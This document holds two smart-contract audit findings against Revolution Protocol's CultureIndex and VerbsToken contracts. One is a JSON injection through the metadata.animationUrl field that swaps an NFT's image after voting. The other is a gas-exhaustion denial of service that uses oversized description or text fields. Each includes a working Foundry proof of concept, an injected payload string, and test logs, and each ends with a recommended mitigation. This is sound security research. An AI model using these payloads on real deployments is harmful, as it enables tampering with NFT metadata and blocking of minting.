Revolution Protocol - KingNFT's results

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L209 https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/VerbsToken.sol#L193

Vulnerability details

Impact

CultureIndex.createPiece() function doesn't sanitize malicious charcacters in metadata.image and metadata.animationUrl, which would cause VerbsToken.tokenURI() suffering various JSON injection attack vectors.

1. If the front end APP doesn't process the JSON string properly, such as using eval() to parse token URI, then any malicious code can be executed in the front end. Obviously, funds in users' connected wallet, such as Metamask, might be stolen in this case.

2. Even while the front end processes securely, such as using the standard builtin JSON.parse() to read URI. Adversary can still exploit this vulnerability to replace art piece image/animation with arbitrary other ones after voting stage completed. That is the final metadata used by the NFT (VerbsToken) is not the art piece users vote. This attack could be benefit to attackers, such as creating NFTs containing same art piece data with existing high price NFTs. And this attack could also make the project sufferring legal risks, such as creating NFTs with violence or pornography images.

more reference: https://www.comparitech.com/net-admin/json-injection-guide/

Proof of Concept

As shown of createPiece() function, there is no check if metadata.image and metadata.animationUrl contain malicious charcacters, such as ", : and ,.

File: src\CultureIndex.sol
209:     function createPiece(
210:         ArtPieceMetadata calldata metadata,
211:         CreatorBps[] calldata creatorArray
212:     ) public returns (uint256) {
213:         uint256 creatorArrayLength = validateCreatorsArray(creatorArray);
214: 
215:         // Validate the media type and associated data
216:         validateMediaType(metadata);
217: 
218:         uint256 pieceId = _currentPieceId++;
219: 
220:         /// @dev Insert the new piece into the max heap
221:         maxHeap.insert(pieceId, 0);
222: 
223:         ArtPiece storage newPiece = pieces[pieceId];
224: 
225:         newPiece.pieceId = pieceId;
226:         newPiece.totalVotesSupply = _calculateVoteWeight(
227:             erc20VotingToken.totalSupply(),
228:             erc721VotingToken.totalSupply()
229:         );
230:         newPiece.totalERC20Supply = erc20VotingToken.totalSupply();
231:         newPiece.metadata = metadata;
232:         newPiece.sponsor = msg.sender;
233:         newPiece.creationBlock = block.number;
234:         newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;
235: 
236:         for (uint i; i < creatorArrayLength; i++) {
237:             newPiece.creators.push(creatorArray[i]);
238:         }
239: 
240:         emit PieceCreated(pieceId, msg.sender, metadata, newPiece.quorumVotes, newPiece.totalVotesSupply);
241: 
242:         // Emit an event for each creator
243:         for (uint i; i < creatorArrayLength; i++) {
244:             emit PieceCreatorAdded(pieceId, creatorArray[i].creator, msg.sender, creatorArray[i].bps);
245:         }
246: 
247:         return newPiece.pieceId;
248:     }

Adverary can exploit this to make VerbsToken.tokenURI() to return various malicious JSON objects to front end APP.

File: src\Descriptor.sol
097:     function constructTokenURI(TokenURIParams memory params) public pure returns (string memory) {
098:         string memory json = string(
099:             abi.encodePacked(
100:                 '{"name":"',
101:                 params.name,
102:                 '", "description":"',
103:                 params.description,
104:                 '", "image": "',
105:                 params.image,
106:                 '", "animation_url": "',
107:                 params.animation_url,
108:                 '"}'
109:             )
110:         );
111:         return string(abi.encodePacked("data:application/json;base64,", Base64.encode(bytes(json))));
112:     }

For example, if attacker submit the following metadata

ICultureIndex.ArtPieceMetadata({
            name: 'Mona Lisa',
            description: 'A renowned painting by Leonardo da Vinci',
            mediaType: ICultureIndex.MediaType.IMAGE,
            image: 'ipfs://realMonaLisa',
            text: '',
            animationUrl: '", "image": "ipfs://fakeMonaLisa' // malicious string injected
        });

During voting stage, front end gets image field by CultureIndex.pieces[pieceId].metadata.image, which is ipfs://realMonaLisa. But, after voting complete, art piece is minted to VerbsToken NFT. Now, front end would query VerbsToken.tokenURI(tokenId) to get base64 encoded metadata, which would be

data:application/json;base64,eyJuYW1lIjoiVnJiIDAiLCAiZGVzY3JpcHRpb24iOiJNb25hIExpc2EuIEEgcmVub3duZWQgcGFpbnRpbmcgYnkgTGVvbmFyZG8gZGEgVmluY2kiLCAiaW1hZ2UiOiAiaXBmczovL3JlYWxNb25hTGlzYSIsICJhbmltYXRpb25fdXJsIjogIiIsICJpbWFnZSI6ICJpcGZzOi8vZmFrZU1vbmFMaXNhIn0=

In the front end, we use JSON.parse() to parse the above data, we get image as ipfs://fakeMonaLisa. Image link: https://gist.github.com/assets/68863517/d769d7ac-db02-4e3b-94d2-dfaf3752b763

Below is the full coded PoC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {RevolutionBuilderTest} from "./RevolutionBuilder.t.sol";
import {ICultureIndex} from "../src/interfaces/ICultureIndex.sol";

contract JsonInjectionAttackTest is RevolutionBuilderTest {
    string public tokenNamePrefix = "Vrb";
    string public tokenName = "Vrbs";
    string public tokenSymbol = "VRBS";

    function setUp() public override {
        super.setUp();
        super.setMockParams();

        super.setERC721TokenParams(tokenName, tokenSymbol, "https://example.com/token/", tokenNamePrefix);

        super.setCultureIndexParams("Vrbs", "Our community Vrbs. Must be 32x32.", 10, 500, 0);

        super.deployMock();
    }

    function testImageReplacementAttack() public {
        ICultureIndex.CreatorBps[] memory creators = _createArtPieceCreators();
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: 'Mona Lisa',
            description: 'A renowned painting by Leonardo da Vinci',
            mediaType: ICultureIndex.MediaType.IMAGE,
            image: 'ipfs://realMonaLisa',
            text: '',
            animationUrl: '", "image": "ipfs://fakeMonaLisa' // malicious string injected
        });

        uint256 pieceId = cultureIndex.createPiece(metadata, creators);

        vm.startPrank(address(erc20TokenEmitter));
        erc20Token.mint(address(this), 10_000e18);
        vm.stopPrank();
        vm.roll(block.number + 1); // ensure vote snapshot is taken
        cultureIndex.vote(pieceId);

        // 1. the image used during voting stage is 'ipfs://realMonaLisa'
        ICultureIndex.ArtPiece memory topPiece = cultureIndex.getTopVotedPiece();
        assertEq(pieceId, topPiece.pieceId);
        assertEq(keccak256("ipfs://realMonaLisa"), keccak256(bytes(topPiece.metadata.image)));

        // 2. after being minted to VerbsToken, the image becomes to 'ipfs://fakeMonaLisa'
        vm.startPrank(address(auction));
        uint256 tokenId = erc721Token.mint();
        vm.stopPrank();
        assertEq(pieceId, tokenId);
        string memory encodedURI = erc721Token.tokenURI(tokenId);
        console2.log(encodedURI);
        string memory prefix = _substring(encodedURI, 0, 29);
        assertEq(keccak256('data:application/json;base64,'), keccak256(bytes(prefix)));
        string memory actualBase64Encoded = _substring(encodedURI, 29, bytes(encodedURI).length);
        string memory expectedBase64Encoded = 'eyJuYW1lIjoiVnJiIDAiLCAiZGVzY3JpcHRpb24iOiJNb25hIExpc2EuIEEgcmVub3duZWQgcGFpbnRpbmcgYnkgTGVvbmFyZG8gZGEgVmluY2kiLCAiaW1hZ2UiOiAiaXBmczovL3JlYWxNb25hTGlzYSIsICJhbmltYXRpb25fdXJsIjogIiIsICJpbWFnZSI6ICJpcGZzOi8vZmFrZU1vbmFMaXNhIn0=';
        assertEq(keccak256(bytes(expectedBase64Encoded)), keccak256(bytes(actualBase64Encoded)));
    }

    function _createArtPieceCreators() internal pure returns (ICultureIndex.CreatorBps[] memory) {
        ICultureIndex.CreatorBps[] memory creators = new ICultureIndex.CreatorBps[](1);
        creators[0] = ICultureIndex.CreatorBps({creator: address(0xc), bps: 10_000});
        return creators;
    }

    function _substring(string memory str, uint256 startIndex, uint256 endIndex)
        internal
        pure
        returns (string memory)
    {
        bytes memory strBytes = bytes(str);
        bytes memory result = new bytes(endIndex-startIndex);
        for (uint256 i = startIndex; i < endIndex; i++) {
            result[i - startIndex] = strBytes[i];
        }
        return string(result);
    }
}

And, test logs:

2023-12-revolutionprotocol\packages\revolution> forge test --match-contract JsonInjectionAttackTest -vv
[⠑] Compiling...
No files changed, compilation skipped

Running 1 test for test/JsonInjectionAttack.t.sol:JsonInjectionAttackTest
[PASS] testImageReplacementAttack() (gas: 1437440)
Logs:
  data:application/json;base64,eyJuYW1lIjoiVnJiIDAiLCAiZGVzY3JpcHRpb24iOiJNb25hIExpc2EuIEEgcmVub3duZWQgcGFpbnRpbmcgYnkgTGVvbmFyZG8gZGEgVmluY2kiLCAiaW1hZ2UiOiAiaXBmczovL3JlYWxNb25hTGlzYSIsICJhbmltYXRpb25fdXJsIjogIiIsICJpbWFnZSI6ICJpcGZzOi8vZmFrZU1vbmFMaXNhIn0=

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.30ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

Sanitize input data according: https://github.com/OWASP/json-sanitizer

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/VerbsToken.sol#L281

Vulnerability details

Impact

Due to lack of length validation on the metadata parameter of CultureIndex.createPiece(), attackers can construct art pieces with long metadata, such as inputting many metadata.description or irrelevant metadata.text while creating IMAGE art piece . Those carefully crafted art pieces could be created and voted normally, but can never be dropped and minted to VerbsToken. This would also cause any other normal art pieces with less votes being blocked too, even these normal art pieces might have more votes than quorum.

Proof of Concept

File: src\interfaces\ICultureIndex.sol
88:     struct ArtPieceMetadata {
89:         string name;
90:         string description;
91:         MediaType mediaType;
92:         string image;
93:         string text;
94:         string animationUrl;
95:     }

The issue arises due to the following two facts:

1. CultureIndex.createPiece() has no validation on size of some string fields, such as metadata.name and metadata.description . Especially, missing enforcement on metadata.text == '' while creating IMAGE art piece.

2. VerbsToken.mint() would always spent more gas than CultureIndex.createPiece(), as it reads (many SLOAD) whole art piece data from CultureIndex and then write (many SSTORE) into VerbsToken contract. As comparison, CultureIndex.createPiece() only writes, no reads.

Hence, attackers can construct art pieces with long metadata, that would trigger out of gas error on VerbsToken.mint() but keep success on CultureIndex.createPiece().

The thing should be pointed out is that those art pieces could be normally voted, and attackers can also vote themself by borrowing or buying tokens from market, finishing attack, then paying back or selling. The cost would not be too high, as the attack doesn't need attackers to hold tokens for long time. Their holding time could be as short as only 1 block.

Below is the full coded PoC that shows both normal and attack cases:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {RevolutionBuilderTest} from "./RevolutionBuilder.t.sol";
import {ICultureIndex} from "../src/interfaces/ICultureIndex.sol";

contract AttackToBlockCultureIndexFromDroppingTest is RevolutionBuilderTest {
    string public tokenNamePrefix = "Vrb";
    string public tokenName = "Vrbs";
    string public tokenSymbol = "VRBS";
    uint256 public quorumVotesBPS = 500; // 5%

    uint256 public BLOCK_GAS_LIMIT = 30_000_000;

    function setUp() public override {
        super.setUp();
        super.setMockParams();

        super.setERC721TokenParams(tokenName, tokenSymbol, "https://example.com/token/", tokenNamePrefix);

        super.setCultureIndexParams("Vrbs", "Our community Vrbs. Must be 32x32.", 10, quorumVotesBPS, 0);

        super.deployMock();
    }

    function testNormalCaseWithShortDescription() public {
        _testWithSizeSpecificDescription({size: 10 * 32, expectRevert: false});
    }

    function testAttackCaseWithLongDescription() public {
        _testWithSizeSpecificDescription({size: 1_250 * 32, expectRevert: true});
    }

    function testNormalCaseWithNoText() public {
        _testWithSizeSpecificText({size: 0, expectRevert: false});
    }

    function testAttackCaseWithLongText() public {
        _testWithSizeSpecificText({size: 1_250 * 32, expectRevert: true});
    }

    function _testWithSizeSpecificDescription(uint256 size, bool expectRevert) internal {
        ICultureIndex.ArtPieceMetadata memory metadata = createImageMetadataWithSizeSpecificDescription(size);
        _doTest(metadata, expectRevert);
    }

    function _testWithSizeSpecificText(uint256 size, bool expectRevert) internal {
        ICultureIndex.ArtPieceMetadata memory metadata = createImageMetadataWithSizeSpecificText(size);
        _doTest(metadata, expectRevert);
    }

    function _doTest(ICultureIndex.ArtPieceMetadata memory metadata, bool expectRevert) internal {
        ICultureIndex.CreatorBps[] memory creators = createArtPieceCreators();

        uint256 gasBefore = gasleft();
        uint256 pieceId = cultureIndex.createPiece{gas: BLOCK_GAS_LIMIT}(metadata, creators);
        uint256 gasAfter = gasleft();
        console2.log("Gas used of cultureIndex.createPiece():", gasBefore - gasAfter);

        vm.startPrank(address(erc20TokenEmitter));
        erc20Token.mint(address(1), 80_000e18);
        erc20Token.mint(address(this), 20_000e18); // 20%
        vm.stopPrank();

        uint256 quorum = cultureIndex.quorumVotes();
        assertEq(5_000e18, quorum); // 5%

        // ensure vote snapshot is taken
        vm.roll(block.number + 1);

        vm.startPrank(address(this));
        cultureIndex.vote(pieceId);
        vm.stopPrank();

        uint256 votes = cultureIndex.totalVoteWeights(pieceId);
        assertTrue(votes >= quorum);

        vm.startPrank(address(auction));
        if (expectRevert) vm.expectRevert();
        gasBefore = gasleft();
        uint256 tokenId = erc721Token.mint{gas: BLOCK_GAS_LIMIT}();
        gasAfter = gasleft();
        console2.log("Gas used of erc721Token.mint():", gasBefore - gasAfter);
        vm.stopPrank();
    }

    function createImageMetadataWithSizeSpecificDescription(uint256 size)
        internal
        returns (ICultureIndex.ArtPieceMetadata memory)
    {
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: "Mona Lisa",
            description: makeString(size),
            mediaType: ICultureIndex.MediaType.IMAGE,
            image: "ipfs://legends",
            text: "",
            animationUrl: ""
        });
        return metadata;
    }

    function createImageMetadataWithSizeSpecificText(uint256 size)
        internal
        returns (ICultureIndex.ArtPieceMetadata memory)
    {
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: "Mona Lisa",
            description: "A masterpiece",
            mediaType: ICultureIndex.MediaType.IMAGE,
            image: "ipfs://legends",
            text: makeString(size),
            animationUrl: ""
        });
        return metadata;
    }

    function createArtPieceCreators() public pure returns (ICultureIndex.CreatorBps[] memory) {
        ICultureIndex.CreatorBps[] memory creators = new ICultureIndex.CreatorBps[](1);
        creators[0] = ICultureIndex.CreatorBps({creator: address(0xc), bps: 10_000});
        return creators;
    }

    function makeString(uint256 length) internal returns (string memory res) {
        if (length == 0) return res;
        uint256 words = (length + 31) / 32;
        bytes32 fill = "abcdefghijklmnopqrstuvwxyz012345";
        bytes32 lastFill = fill;
        uint256 remain = length % 32;
        if (remain != 0) {
            uint256 shift = (32 - remain) * 8;
            lastFill = (fill >> shift) << shift;
        }

        res = new string(words * 32);
        for (uint256 i; i < words; ++i) {
            assembly {
                mstore(add(add(res, 32), mul(i, 32)), fill)
                if eq(i, sub(words, 1)) {
                    mstore(add(add(res, 32), mul(i, 32)), lastFill)
                    mstore(res, length) // modify to actual length
                }
            }
        }
        assertEq(length, bytes(res).length);
        bytes32 first;
        bytes32 last;
        assembly {
            first := mload(add(res, 32))
            last := mload(add(res, mul(words, 32)))
        }
        assertEq(fill, first);
        assertEq(lastFill, last);
    }
}

And, test logs:

2023-12-revolutionprotocol\packages\revolution> forge test --match-contract AttackToBlockCultureIndexFromDroppingTest -vv
[⠒] Compiling...
No files changed, compilation skipped

Running 4 tests for test/AttackToBlockCultureIndexFromDropping.t.sol:AttackToBlockCultureIndexFromDroppingTest
[PASS] testAttackCaseWithLongDescription() (gas: 58587900)
Logs:
  Gas used of cultureIndex.createPiece(): 28538175
  Gas used of erc721Token.mint(): 29534053

[PASS] testAttackCaseWithLongText() (gas: 58608277)
Logs:
  Gas used of cultureIndex.createPiece(): 28558463
  Gas used of erc721Token.mint(): 29534053

[PASS] testNormalCaseWithNoText() (gas: 1182300)
Logs:
  Gas used of cultureIndex.createPiece(): 347784
  Gas used of erc721Token.mint(): 492632

[PASS] testNormalCaseWithShortDescription() (gas: 1642132)
Logs:
  Gas used of cultureIndex.createPiece(): 572785
  Gas used of erc721Token.mint(): 724911

Test result: ok. 4 passed; 0 failed; 0 skipped; finished in 27.16ms
Ran 1 test suites: 4 tests passed, 0 failed, 0 skipped (4 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

Limit length of all string fields properly

Assessed type

DoS